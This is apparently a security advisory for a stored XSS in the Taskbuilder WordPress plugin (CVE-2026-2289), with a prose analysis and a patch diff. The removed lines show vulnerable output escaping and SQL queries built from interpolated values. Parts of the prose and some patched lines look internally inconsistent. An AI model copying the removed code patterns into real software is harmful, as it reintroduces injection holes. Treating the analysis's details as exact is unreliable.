Atomic Edge analysis of CVE-2026-2289:
The vulnerability is a stored Cross-Site Scripting (XSS) issue in the Taskbuilder WordPress plugin. The root cause is insufficient output escaping in the plugin’s email notification settings interface. The vulnerability exists in the `wppm_get_edit_email_notification.php` file, specifically in the HTML output for the email subject field. The vulnerable code uses `stripcslashes(esc_attr($subject))` which fails to properly escape HTML entities when the subject contains malicious payloads. This allows authenticated attackers with administrator-level privileges to inject arbitrary JavaScript into the email subject field. The injected script executes when an administrator views the email notification settings page. The attack vector targets the AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `wppm_get_edit_email_notification`. The payload is delivered via the `id` POST parameter, which triggers retrieval and display of the stored malicious subject. The patch replaces the vulnerable output with `esc_attr(wp_unslash($subject))`, ensuring proper HTML entity escaping. Atomic Edge research confirms this vulnerability only affects multi-site installations and installations where the `unfiltered_html` capability is disabled. Successful exploitation allows attackers to perform actions as administrators, including creating new administrative accounts, modifying plugin settings, or stealing session cookies.

CVE-2026-2289: Taskbuilder – Project Management & Task Management Tool With Kanban Board <= 5.0.3 – Authenticated (Administrator+) Stored Cross-Site Scripting (taskbuilder)
CVE-2026-2289
taskbuilder
5.0.3
5.0.4
Analysis Overview
Differential between vulnerable and patched code
--- a/taskbuilder/includes/actions/wppm_check_cron_attachment.php
+++ b/taskbuilder/includes/actions/wppm_check_cron_attachment.php
@@ -4,36 +4,45 @@
}
global $wpdb;
$garbage_collection_time = get_option('wppm_garbage_collection_time' ,'');
+if ( empty( $garbage_collection_time ) ) {
+ update_option( 'wppm_garbage_collection_time', current_time( 'mysql' ) );
+ return;
+}
$check_flag = false;
-$now = time();
+$now = current_time( 'timestamp' );
$ago = strtotime($garbage_collection_time);
$diff = $now - $ago;
-if($diff >= 86400){
+if($diff >= DAY_IN_SECONDS){
$check_flag = true;
}
if(!$check_flag){
return;
}
-$attachments=$wpdb->get_results("select * from {$wpdb->prefix}wppm_attachments where is_active=0");
+$attachments=$wpdb->get_results(("select id,name,date_created from {$wpdb->prefix}wppm_attachments where is_active=0"));
if($attachments){
foreach($attachments as $attachment){
$created_time = $attachment->date_created;
$upload_dir = wp_upload_dir();
$time = strtotime($created_time);
- $month = date("m",$time);
- $year = date("Y",$time);
- $filepath = $upload_dir['basedir'] . '/wppm/'.'/'.$year.'/'.$month.'/'. $attachment->name;
+ $month = wp_date("m",$time);
+ $year = wp_date("Y",$time);
+ $filename = sanitize_file_name( $attachment->name );
+ $filepath = $upload_dir['basedir'] . '/wppm/'.'/'.$year.'/'.$month.'/'. $filename;
$attachment_updated_time = strtotime($created_time);
- $now = time();
$diff = $now - $attachment_updated_time;
- $aid = esc_sql( $attachment->id );
- if($diff > 86400){
- $wpdb->delete($wpdb->prefix.'wppm_attachments', array( 'id' => "$aid"));
+ if($diff > DAY_IN_SECONDS){
+ $attachment_id = absint( $attachment->id );
+ $wpdb->delete(
+ $wpdb->prefix . 'wppm_attachments',
+ array( 'id' => $attachment_id ),
+ array( '%d' )
+ );
if(file_exists($filepath)){
- unlink($filepath);
+ //unlink($filepath);
+ wp_delete_file($filepath);
}
}
}
}
-update_option('wppm_garbage_collection_time', date("Y-m-d H:i:s"));
+update_option('wppm_garbage_collection_time', current_time( 'mysql' ) );
--- a/taskbuilder/includes/admin/addons.php
+++ b/taskbuilder/includes/admin/addons.php
@@ -8,8 +8,8 @@
<!-- <div class="row"> -->
<div>
<h3>
- <?php _e('Addons','taskbuilder');?>
- <a href="https://taskbuilder.net/support/" class="btn btn-info wppm-help-site-link" style="float:right;margin-right:1% !important;margin-top:-9px !important;"><?php _e('Need Help? Click Here!','taskbuilder');?></a>
+ <?php esc_html_e('Addons','taskbuilder');?>
+ <a href="https://taskbuilder.net/support/" class="btn btn-info wppm-help-site-link" style="float:right;margin-right:1% !important;margin-top:-9px !important;"><?php esc_html_e('Need Help? Click Here!','taskbuilder');?></a>
</h3>
<div class="wppm_padding_space"></div>
<div>
--- a/taskbuilder/includes/admin/attachment/wppm_download_attachment.php
+++ b/taskbuilder/includes/admin/attachment/wppm_download_attachment.php
@@ -3,40 +3,79 @@
if ( ! defined( 'ABSPATH' ) ) exit;
global $wpdb;
+global $wp_filesystem;
+if ( ! function_exists( 'WP_Filesystem' ) ) {
+ require_once ABSPATH . 'wp-admin/includes/file.php';
+}
+WP_Filesystem();
$upload_dir = wp_upload_dir();
-$attach_id = esc_sql(intval(sanitize_text_field($attach_id)));
-$attachment=$wpdb->get_row("select * from {$wpdb->prefix}wppm_attachments where id='".$attach_id."'");
+$attach_id = (int) $attach_id;
+$attachment = $wpdb->get_row(
+ $wpdb->prepare(
+ "SELECT * FROM {$wpdb->prefix}wppm_attachments WHERE id = %d",
+ $attach_id
+ )
+);
+if ( ! $attachment ) {
+ wp_die( esc_html__( 'Invalid attachment.', 'taskbuilder' ) );
+}
+
+if ( ! current_user_can( 'read' ) ) {
+ wp_die( esc_html__( 'Unauthorized access.', 'taskbuilder' ) );
+}
+
$date_created = $attachment->date_created;
+$timestamp = strtotime( $attachment->date_created );
+if ( ! $timestamp ) {
+ wp_die( esc_html__( 'Invalid file date.', 'taskbuilder' ) );
+}
$time = strtotime($date_created);
-$month = date("m",$time);
-$year = date("Y",$time);
+$month = wp_date("m",$time);
+$year = wp_date("Y",$time);
$findStr = ".txt";
$filepath = "";
$attachment_name = sanitize_file_name($attachment->name);
$attach_file_name = sanitize_file_name($attachment->file_name);
-if (!empty($attachment)) {
- $filepath = $upload_dir['basedir'] . '/wppm'.'/'.$year.'/'.$month.'/'. $attachment_name;
- //Turn off output buffering
- if (ob_get_level()) ob_end_clean();
- if( !file_exists($filepath)) return;
- $mime_type = wp_check_filetype($filepath);
- header('Content-Type: ' . $mime_type['type']);
- // Check whether attachment is of image type
- if($attachment->is_image){
- if(ob_get_length() > 0) {
- ob_clean();
- }
- echo file_get_contents($filepath);
- exit(0);
+$filepath = $attachment->file_path;
+$file_contents = $wp_filesystem->get_contents( $filepath );
+while ( ob_get_level() ) {
+ ob_end_clean();
+}
+$base_dir = realpath( trailingslashit( $upload_dir['basedir'] ) . 'wppm/' );
+$filepath = realpath(trailingslashit($upload_dir['basedir']) . '/wppm'.'/'.$year.'/'.$month.'/'. $attachment_name);
+if (
+ ! $filepath ||
+ ! $base_dir ||
+
+ strpos( $filepath, $base_dir ) !== 0
+) {
+ wp_die( esc_html__( 'File not found.', 'taskbuilder' ) );
+}
+//Turn off output buffering
+if (ob_get_level()) ob_end_clean();
+if( !file_exists($filepath)) return;
+ $mime_type = wp_check_filetype($filepath);
+ $content_type = ! empty( $mime_type['type'] )
+ ? $mime_type['type']
+ : 'application/octet-stream';
+ header('Content-Type: ' . $content_type);
+// Check whether attachment is of image type
+if($attachment->is_image){
+ if(ob_get_length() > 0) {
+ ob_clean();
}
- header('Content-Description: File Transfer');
- header('Cache-Control: public');
- header("Content-Transfer-Encoding: binary");
- header("Content-Disposition: attachment;filename=".($attach_file_name));
- header('Content-Length: '.filesize($filepath));
- if (ob_get_length()) ob_clean();
- flush();
- readfile($filepath);
- exit(0);
+ //readfile( $filepath );
+ echo $file_contents;
+ exit;
}
+header('Content-Description: File Transfer');
+header('Cache-Control: public');
+header("Content-Transfer-Encoding: binary");
+header("Content-Disposition: attachment;filename=".($attach_file_name));
+header('Content-Length: '.filesize($filepath));
+if (ob_get_length()) ob_clean();
+flush();
+//readfile($filepath);
+echo $file_contents;
+exit;
?>
--- a/taskbuilder/includes/admin/email_notifications/wppm_en_change_project_status.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_en_change_project_status.php
@@ -9,7 +9,7 @@
$ignore_emails = get_option('wppm_en_ignore_emails');
$wppm_default_email_notification_to_current_user = get_option('wppm_default_email_notification_to_current_user');
$project_id = intval(sanitize_text_field($project_id));
-$project_id = esc_sql($project_id);
+$project_id = absint($project_id);
$project_data = $wppmfunction->get_project($project_id);
$proj_users = $project_data['users'];
$proj_users = explode(',',$proj_users);
@@ -30,8 +30,8 @@
if($recipient == 1 && !empty($proj_users)) {
foreach($proj_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 1){
$email_addresses[] = $userdata->user_email;
@@ -42,8 +42,8 @@
elseif($recipient == 2 && !empty($proj_users)){
foreach($proj_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 2){
$email_addresses[] = $userdata->user_email;
--- a/taskbuilder/includes/admin/email_notifications/wppm_en_project_created.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_en_project_created.php
@@ -8,7 +8,7 @@
$from_email = get_option('wppm_en_from_email');
$ignore_emails = get_option('wppm_en_ignore_emails');
$project_id = intval(sanitize_text_field(($project_id)));
-$project_id = esc_sql($project_id);
+$project_id = absint($project_id);
$project_data = $wppmfunction->get_project($project_id);
$proj_users = $project_data['users'];
$proj_users = explode(',',$proj_users);
@@ -29,8 +29,8 @@
if($recipient == 1 && !empty($proj_users)) {
foreach($proj_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 1){
$email_addresses[] = $userdata->user_email;
@@ -41,8 +41,8 @@
elseif($recipient == 2 && !empty($proj_users)){
foreach($proj_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 2){
$email_addresses[] = $userdata->user_email;
--- a/taskbuilder/includes/admin/email_notifications/wppm_en_set_change_task_status.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_en_set_change_task_status.php
@@ -9,9 +9,9 @@
$ignore_emails = get_option('wppm_en_ignore_emails');
$task_id = sanitize_text_field($task_id);
$task_data = $wppmfunction->get_task($task_id);
-$project_id = esc_sql($task_data['project']);
-$project_users = $wpdb->get_results("SELECT user_id FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND role_id = 1");
-$p_users = $wpdb->get_var("SELECT users FROM {$wpdb->prefix}wppm_project WHERE id = '$project_id'");
+$project_id = absint($task_data['project']);
+$project_users = $wpdb->get_results($wpdb->prepare("SELECT user_id FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND role_id = 1",$project_id));
+$p_users = $wpdb->get_var($wpdb->prepare("SELECT users FROM {$wpdb->prefix}wppm_project WHERE id = %d",$project_id));
$p_users_array = array();
if(!empty($p_users)){
$p_users_array = explode(',',$p_users );
@@ -45,8 +45,8 @@
foreach($task_users as $user){
if(!empty($user)){
$userdata = get_userdata($user);
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
if((!empty($project_user_data)) && $project_user_data->role_id == 1){
$email_addresses[] = $userdata->user_email;
}
@@ -57,8 +57,8 @@
foreach($task_users as $user){
if(!empty($user)){
$userdata = get_userdata($user);
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
if((!empty($project_user_data)) && $project_user_data->role_id == 2){
$email_addresses[] = $userdata->user_email;
}
--- a/taskbuilder/includes/admin/email_notifications/wppm_en_set_project_users.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_en_set_project_users.php
@@ -6,7 +6,7 @@
$from_name = get_option('wppm_en_from_name');
$from_email = get_option('wppm_en_from_email');
$ignore_emails = get_option('wppm_en_ignore_emails');
-$project_id = esc_sql(intval(sanitize_text_field($project_id)));
+$project_id = absint(sanitize_text_field($project_id));
$project_data = $wppmfunction->get_project($project_id);
$proj_users = $project_data['users'];
if(!empty($proj_users)){
@@ -29,8 +29,8 @@
if($recipient == 1 && !empty($proj_users)) {
foreach($proj_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 1){
$email_addresses[] = $userdata->user_email;
@@ -41,8 +41,8 @@
elseif($recipient == 2 && !empty($proj_users)){
foreach($proj_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 2){
$email_addresses[] = $userdata->user_email;
--- a/taskbuilder/includes/admin/email_notifications/wppm_en_set_task_users.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_en_set_task_users.php
@@ -9,10 +9,10 @@
$ignore_emails = get_option('wppm_en_ignore_emails');
$task_id = intval(sanitize_text_field($task_id));
$task_data = $wppmfunction->get_task($task_id);
-$project_id = esc_sql($task_data['project']);
-$task_users = $task_data['users'];
-$project_users = $wpdb->get_results("SELECT user_id FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND role_id = '1'");
-$p_users = $wpdb->get_var("SELECT users FROM {$wpdb->prefix}wppm_project WHERE id = '$project_id'");
+$project_id = absint($task_data['project']);
+$task_users = absint($task_data['users']);
+$project_users = $wpdb->get_results($wpdb->prepare("SELECT user_id FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND role_id = 1",$project_id));
+$p_users = $wpdb->get_var($wpdb->prepare("SELECT users FROM {$wpdb->prefix}wppm_project WHERE id = %d",$project_id));
$p_users_array = explode(',',$p_users );
$task_users = explode(',',$task_users);
$flag= false;
@@ -43,8 +43,8 @@
if($recipient == 1 && isset($task_users)) {
foreach($task_users as $user){
if(!empty($user)){
- $user= esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user= absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 1){
$email_addresses[] = $userdata->user_email;
@@ -55,8 +55,8 @@
elseif($recipient == 2 && isset($task_users)){
foreach($task_users as $user){
if(!empty($user)){
- $user= esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user= absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 2){
$email_addresses[] = $userdata->user_email;
--- a/taskbuilder/includes/admin/email_notifications/wppm_en_submit_proj_comment.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_en_submit_proj_comment.php
@@ -7,7 +7,7 @@
$from_name = get_option('wppm_en_from_name');
$from_email = get_option('wppm_en_from_email');
$ignore_emails = get_option('wppm_en_ignore_emails');
-$proj_id = esc_sql(intval(sanitize_text_field($proj_id)));
+$proj_id = (absint(sanitize_text_field($proj_id)));
$proj_data = $wppmfunction->get_project($proj_id);
$proj_users = $proj_data['users'];
$proj_users = explode(',',$proj_users);
@@ -29,8 +29,8 @@
if($recipient == 1 && !empty($proj_users)) {
foreach($proj_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$proj_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$proj_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 1){
$email_addresses[] = $userdata->user_email;
@@ -41,8 +41,8 @@
elseif($recipient == 2 && !empty($proj_users)){
foreach($proj_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$proj_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$proj_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 2){
$email_addresses[] = $userdata->user_email;
--- a/taskbuilder/includes/admin/email_notifications/wppm_en_submit_task_comment.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_en_submit_task_comment.php
@@ -7,12 +7,16 @@
$from_name = get_option('wppm_en_from_name');
$from_email = get_option('wppm_en_from_email');
$ignore_emails = get_option('wppm_en_ignore_emails');
-$task_id = intval(sanitize_text_field($task_id));
+$task_id = absint(sanitize_text_field($task_id));
$task_data = $wppmfunction->get_task($task_id);
-$project_id = esc_sql($task_data['project']);
-$project_users = $wpdb->get_results("SELECT user_id FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND role_id = '1'");
-$p_users = $wpdb->get_var("SELECT users FROM {$wpdb->prefix}wppm_project WHERE id = '$project_id'");
-$p_users_array = explode(',',$p_users );
+$project_id = absint($task_data['project']);
+$project_users = $wpdb->get_results($wpdb->prepare("SELECT user_id FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND role_id = 1",$project_id));
+$p_users = $wpdb->get_var($wpdb->prepare("SELECT users FROM {$wpdb->prefix}wppm_project WHERE id = %d",$project_id));
+if(!empty($p_users)) {
+ $p_users_array = explode(',',$p_users);
+} else {
+ $p_users_array = array();
+}
$task_users = $task_data['users'];
$task_users = explode(',',$task_users);
$flag= false;
@@ -42,8 +46,8 @@
if($recipient == 1 && !empty($task_users)) {
foreach($task_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 1){
$email_addresses[] = $userdata->user_email;
@@ -54,8 +58,8 @@
elseif($recipient == 2 && !empty($task_users)){
foreach($task_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 2){
$email_addresses[] = $userdata->user_email;
--- a/taskbuilder/includes/admin/email_notifications/wppm_en_task_created.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_en_task_created.php
@@ -7,11 +7,11 @@
$from_name = get_option('wppm_en_from_name');
$from_email = get_option('wppm_en_from_email');
$ignore_emails = get_option('wppm_en_ignore_emails');
-$task_id = intval(sanitize_text_field($task_id));
+$task_id = absint(sanitize_text_field($task_id));
$task_data = $wppmfunction->get_task($task_id);
-$project_id = esc_sql($task_data['project']);
-$project_users = $wpdb->get_results("SELECT user_id FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND role_id = '1'");
-$p_users = $wpdb->get_var("SELECT users FROM {$wpdb->prefix}wppm_project WHERE id = $project_id");
+$project_id = absint($task_data['project']);
+$project_users = $wpdb->get_results($wpdb->prepare("SELECT user_id FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND role_id = 1",$project_id));
+$p_users = $wpdb->get_var($wpdb->prepare("SELECT users FROM {$wpdb->prefix}wppm_project WHERE id = %d",$project_id));
$p_users_array = array();
if(isset($p_users)){
$p_users_array = explode(',',$p_users);
@@ -45,8 +45,8 @@
if($recipient == 1 && !empty($task_users)) {
foreach($task_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 1){
$email_addresses[] = $userdata->user_email;
@@ -57,8 +57,8 @@
elseif($recipient == 2 && !empty($task_users)){
foreach($task_users as $user){
if(!empty($user)){
- $user = esc_sql($user);
- $project_user_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$project_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d",$project_id,$user));
$userdata = get_userdata($user);
if((!empty($project_user_data)) && $project_user_data->role_id == 2){
$email_addresses[] = $userdata->user_email;
@@ -69,10 +69,22 @@
}else{
switch ($recipient) {
case 'project_creator':
- $email_addresses = array_merge($email_addresses,$wppmfunction->get_project_creator_email($project_id));
+ //$email_addresses = array_merge($email_addresses,$wppmfunction->get_project_creator_email($project_id));
+ if ( ! empty($wppmfunction->get_project_creator_email($project_id)) ) {
+ $email_addresses = array_merge(
+ (array) $email_addresses,
+ (array) $wppmfunction->get_project_creator_email($project_id)
+ );
+ }
break;
case 'task_creator':
- $email_addresses = array_merge($email_addresses,$wppmfunction->get_task_creator_email($task_id));
+ //$email_addresses = array_merge($email_addresses,$wppmfunction->get_task_creator_email($task_id));
+ if ( ! empty($wppmfunction->get_task_creator_email($task_id)) ) {
+ $email_addresses = array_merge(
+ (array) $email_addresses,
+ (array) $wppmfunction->get_task_creator_email($task_id)
+ );
+ }
break;
}
}
--- a/taskbuilder/includes/admin/email_notifications/wppm_get_edit_email_notification.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_get_edit_email_notification.php
@@ -7,7 +7,7 @@
if (!($current_user->ID && $current_user->has_cap('wppm_admin') || $current_user->has_cap('manage_options'))) {
exit;
}
-$id = isset($_POST) && isset($_POST['id']) ? intval(sanitize_text_field($_POST['id'])) : 0;
+$id = isset($_POST) && isset($_POST['id']) ? absint(sanitize_text_field(wp_unslash($_POST['id']))) : 0;
if(!$id) die();
$user_role = get_option('wppm_user_role');
$wppm_email_notificatins = get_option('wppm_email_notification');
@@ -31,14 +31,14 @@
<p class="help-block"><?php echo esc_html_e('Select event to send this email.','taskbuilder');?></p>
<select class="form-control" name="wppm_en_type" id="wppm_en_type">
<?php foreach ($notification_types as $key => $value) :?>
- <option <?php echo esc_attr($key)==esc_attr($type) ?'selected="selected"':''?> value="<?php echo esc_attr($key)?>"><?php echo (esc_attr($value))?></option>
+ <option <?php echo esc_attr($key)==esc_attr($type) ?'selected="selected"':''?> value="<?php echo esc_attr($key)?>"><?php echo (esc_html($value))?></option>
<?php endforeach;?>
</select>
</div>
<div class="form-group">
<label for="wppm_en_subject"><?php echo esc_html_e('Email Subject','taskbuilder');?></label>
<p class="help-block"><?php echo esc_html_e('Subject for email to send.','taskbuilder');?></p>
- <input type="text" class="form-control" name="wppm_en_subject" id="wppm_en_subject" value="<?php echo (stripcslashes(esc_attr($subject))) ?>" />
+ <input type="text" class="form-control" name="wppm_en_subject" id="wppm_en_subject" value="<?php echo esc_attr( wp_unslash( $subject ) ); ?>" />
</div>
<div class="form-group">
<label for="wppm_en_body"><?php echo esc_html_e('Email Body','taskbuilder');?></label>
@@ -47,8 +47,7 @@
<button id="visual" class="btn btn-primary btn-xs" type="button" onclick="wppm_get_tinymce('wppm_en_body','email_body');"><?php echo esc_html_e('Visual', 'taskbuilder');?></button>
<button id="text" class="btn btn-default btn-xs" type="button" onclick="wppm_get_textarea()"><?php echo esc_html_e('Text', 'taskbuilder');?></button>
</div>
- <?php $allowed_tags = array( 'br' => array(), 'abbr' => array('title' => array(),), 'p' => array(), 'strong' => array(), 'a' => array('href' => array(), 'title' => array(),'target'=> array(), 'rel'=>array()),'em' =>array(),'span' =>array(), 'blockquote'=>array('cite' => array(),),'div' => array('class' => array(),'title' => array(),'style' => array(),),'ul'=>array(),'li'=>array(),'ol'=>array(),'img' => array( 'alt'=> array(),'class' => array(),'height' => array(),'src'=> array(),'width'=> array(),)); ?>
- <textarea type="text" class="form-control" name="wppm_en_body" id="wppm_en_body"><?php echo htmlentities(wp_kses($body,$allowed_tags))?></textarea>
+ <textarea type="text" class="form-control" name="wppm_en_body" id="wppm_en_body"><?php echo (esc_textarea(wp_unslash($body)))?></textarea>
<div class="row attachment_link">
<span onclick="wppm_get_templates(); "><?php echo esc_html_e('Insert Macros','taskbuilder') ?></span>
</div>
@@ -94,10 +93,10 @@
<?php do_action('wppm_get_edit_email_notification',$id);?>
<button type="submit" class="wppm-submit-btn"><?php echo esc_html_e('Save Changes','taskbuilder');?></button>
- <img class="wppm_submit_wait" style="display:none;" src="<?php echo WPPM_PLUGIN_URL.'asset/images/ajax-loader@2x.gif';?>">
+ <img class="wppm_submit_wait" style="display:none;" src="<?php echo esc_url((WPPM_PLUGIN_URL)).'asset/images/ajax-loader@2x.gif';?>">
<input type="hidden" name="action" value="wppm_set_edit_email_notification" />
<input type="hidden" name="_ajax_nonce" value="<?php echo esc_attr( wp_create_nonce( 'wppm_set_edit_email_notification' ) ); ?>">
- <input type="hidden" name="id" value="<?php echo htmlentities(esc_attr($id)) ?>" />
+ <input type="hidden" name="id" value="<?php echo (esc_attr($id)) ?>" />
</form>
<script>
--- a/taskbuilder/includes/admin/email_notifications/wppm_get_en_general_setting.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_get_en_general_setting.php
@@ -4,7 +4,7 @@
}
global $current_user,$wpdb,$wppmfunction;
-if (!($current_user->ID && $current_user->has_cap('wppm_admin') || $current_user->has_cap('manage_options'))) {
+if (!(($current_user->ID && $current_user->has_cap('wppm_admin')) || $current_user->has_cap('manage_options'))) {
exit;
}
$wppm_default_email_notification_to_current_user = get_option('wppm_default_email_notification_to_current_user');
@@ -27,7 +27,7 @@
$ignore_emails = get_option('wppm_en_ignore_emails',array());
$ignore_emails = $wppmfunction->sanitize_array($ignore_emails);
?>
- <textarea class="form-control" style="height:100px !important;" name="wppm_en_ignore_emails" id="wppm_en_ignore_emails"><?php echo stripcslashes(implode('n', $ignore_emails))?></textarea>
+ <textarea class="form-control" style="height:100px !important;" name="wppm_en_ignore_emails" id="wppm_en_ignore_emails"><?php echo esc_textarea( implode( "n", $ignore_emails ) ); ?></textarea>
</div>
<hr>
<span>
@@ -35,13 +35,13 @@
</span><br>
<p class="help-block"><?php echo esc_html_e('Default enable/disable setting to send email notifications to current user (who is making some action like create task, change status, change assign user, new comment.etc).','taskbuilder');?></p>
<select class="form-control" name="wppm_default_email_notification_to_current_user" id="wppm_default_email_notification_to_current_user">
- <?php
- $selected = $wppm_default_email_notification_to_current_user == '1' ? 'selected="selected"' : '';
- echo '<option '.$selected.' value="1">'.__('Enable','taskbuilder').'</option>';
- $selected = $wppm_default_email_notification_to_current_user == '0' ? 'selected="selected"' : '';
- echo '<option '.$selected.' value="0">'.__('Disable','taskbuilder').'</option>';
- ?>
- </select>
